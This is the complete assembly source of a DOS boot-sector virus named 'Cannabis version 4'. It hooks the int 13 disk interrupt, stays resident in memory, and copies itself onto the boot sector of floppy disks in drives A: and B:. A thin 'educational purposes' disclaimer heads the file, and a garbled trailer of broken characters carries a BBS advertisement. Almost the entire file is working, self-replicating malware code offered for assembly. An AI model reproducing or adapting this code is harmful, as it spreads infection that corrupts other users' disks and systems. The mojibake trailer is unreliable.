2022-08-21 09:07:57 +00:00
;****************************************************************************
;* Cannabis version 4
;*
;* Compile with TASM 2.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
cseg seg ment
assume cs : cs eg , ds : cs eg , es : nothing
.RADIX 16
BASE equ 7 C00
org 0
begin: jmp start
org 3
db 'CANNABIS' ;BIOS parameter block
dw 0200
db 2
dw 1
db 2
dw 112 d
dw 720 d
db 0FDh
dw 2
dw 9
dw 2
dw 0
org 3 E
start: cld ;initialise segments + stack
cli
xor ax , ax
mov ss , ax
mov ds , ax
mov sp , 7 C00
mov bx , offset ni13 + BASE ;check int13 vector
mov ax , ds :[ 4 * 13 ]
cmp ax , bx
je installed
mov ds :[ oi13 + BASE ], ax ;save old vector
mov ax , ds :[ 4 * 13 + 2 ]
mov di , 400
mov ds :[ oi13 + 2 + BASE ], ax
mov ax , ds :[ di + 13 ]
dec ax
mov cl , 6
mov ds :[ di + 13 ], ax
shl ax , cl
sub ax , 07 C0
mov cx , 0200 ;copy virus to top
mov di , sp
mov es , ax
mov si , sp
rep movsb
mov ds :[ 4 * 13 + 2 ], es ;set new vector
mov ds :[ 4 * 13 ], bx
installed: xor ax , ax
push ss
pop es
mov bx , 0078
lds si , ss :[ bx ] ;ds:si = int 1E (=table ptr)
push ds
push si
push ss
push bx
mov cx , 0bh
mov di , 7C3Eh ;move table -> ds:7C3E
rep movsb
push es
pop ds
mov cx , ds :[ 7 C18 ]
mov byte ptr [ di - 2 ], 0fh
mov [ bx + 2 ], ax
mov [ di - 7 ], cl
mov word ptr [ bx ], 7 C3E
sti
int 13 ;reset disk
jc error
mov cx , ds :[ 7 C13 ] ;number of sectors
mov ds :[ 7 C20 ], cx
mov ax , ds :[ 7 C16 ] ;calculate root-entry (FAT)
shl ax , 1
inc ax
mov ds :[ 7 C49 ], ax ;save value
mov ds :[ 7 C50 ], ax
mov ax , ds :[ 7 C11 ] ;calculate IO.SYS entry
mov cl , 4
shr ax , cl
add ds :[ 7 C49 ], ax
mov ax , ds :[ 7 C50 ]
mov bx , 0500
call readsector
jc error
cmp word ptr [ bx ], 'OI' ;IO.SYS ?
jne ibmtest
cmp word ptr [ bx + 20 ], 'SM' ;MSDOS.SYS ?
je continue
jmp short error
ibmtest: cmp word ptr [ bx ], 'BI' ;IBMBIO.COM ?
jne error
cmp word ptr [ bx + 20 ], 'BI' ;IBMDOS.COM ?
je continue
error: mov si , offset errortxt + BASE ;print error-message
call print
xor ax , ax
int 16 ;wait for keypress
pop si ;restore int 1E vector
pop ds
pop [ si ]
pop [ si + 2 ]
int 19 ;boot again...
continue: mov cx , 3 ;at ds:0700
mov bx , 0700
mov ax , ds :[ 7 C49 ]
nextsec: call readsector
jc error
add bx , 0200
inc ax
loop nextsec
mov dl , 0
mov ch , ds :[ 7 C15 ] ;go to begin IO.SYS
mov bx , ds :[ 7 C49 ]
mov ax , 0
db 0 EA , 0 , 0 , 70 , 0
;****************************************************************************
;* Read a sector
;****************************************************************************
readsector: push cx
push ax
div byte ptr ds :[ 7 C18 ] ;al=sec/9 (0-160) ah=sec. (0-8)
cwd
inc ah ;ah=1-9 (sector)
shr al , 1 ;al=0-80 (track)
adc dh , 0 ;dh=0/1 (head) dl=0 (drive)
xchg ah , al
mov cx , 0201
xchg ax , cx
int 13
pop ax
pop cx
return: ret
;****************************************************************************
;* Print message
;****************************************************************************
print: lodsb
or al , al
jz return
mov ah , 0Eh
mov bx , 7
int 10
jmp short print
;****************************************************************************
;* Int 13 handler
;****************************************************************************
ni13: push ax
push ds
cmp ah , 4 ;funktion 0-4?
ja cancel
cmp ch , 1
ja cancel
test dx , 0FFFEh ;drive A: or B: ? (head=0)
jnz cancel
xor ax , ax
mov ds , ax
infect: push cx
push bx
push di
push si
push es
mov ax , 0201 ;read bootsector at 7E00
mov bx , 7 E00
mov cx , 1
push cs
push cs
pop ds
pop es
pushf
push cs
call orgint13
jc exit
mov di , 7C0Bh ;move BPB to virus
mov cl , 33
mov si , 7E0Bh
rep movsb
mov ax , 0301 ;write virus to boot-sector
mov bx , 7 C00
mov cx , 1
pushf
push cs
call orgint13
exit: pop es
pop si
pop di
pop bx
pop cx
cancel: pop ds
pop ax
orgint13: jmp dword ptr cs :[ oi13 + BASE ] ;original vector
;****************************************************************************
;* Data
;****************************************************************************
oi13 dw ? , ? ;original int 13 vector
errortxt db 0Dh , 0Ah , 'Non-System disk or disk error'
db 0Dh , 0Ah , 'Replace and press a key when ready'
db 0Dh , 0Ah , 0
org 01FEh
db 55 , 0 AA
cseg ends
end begin
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > and Remember Don't Forget to Call <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
; <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
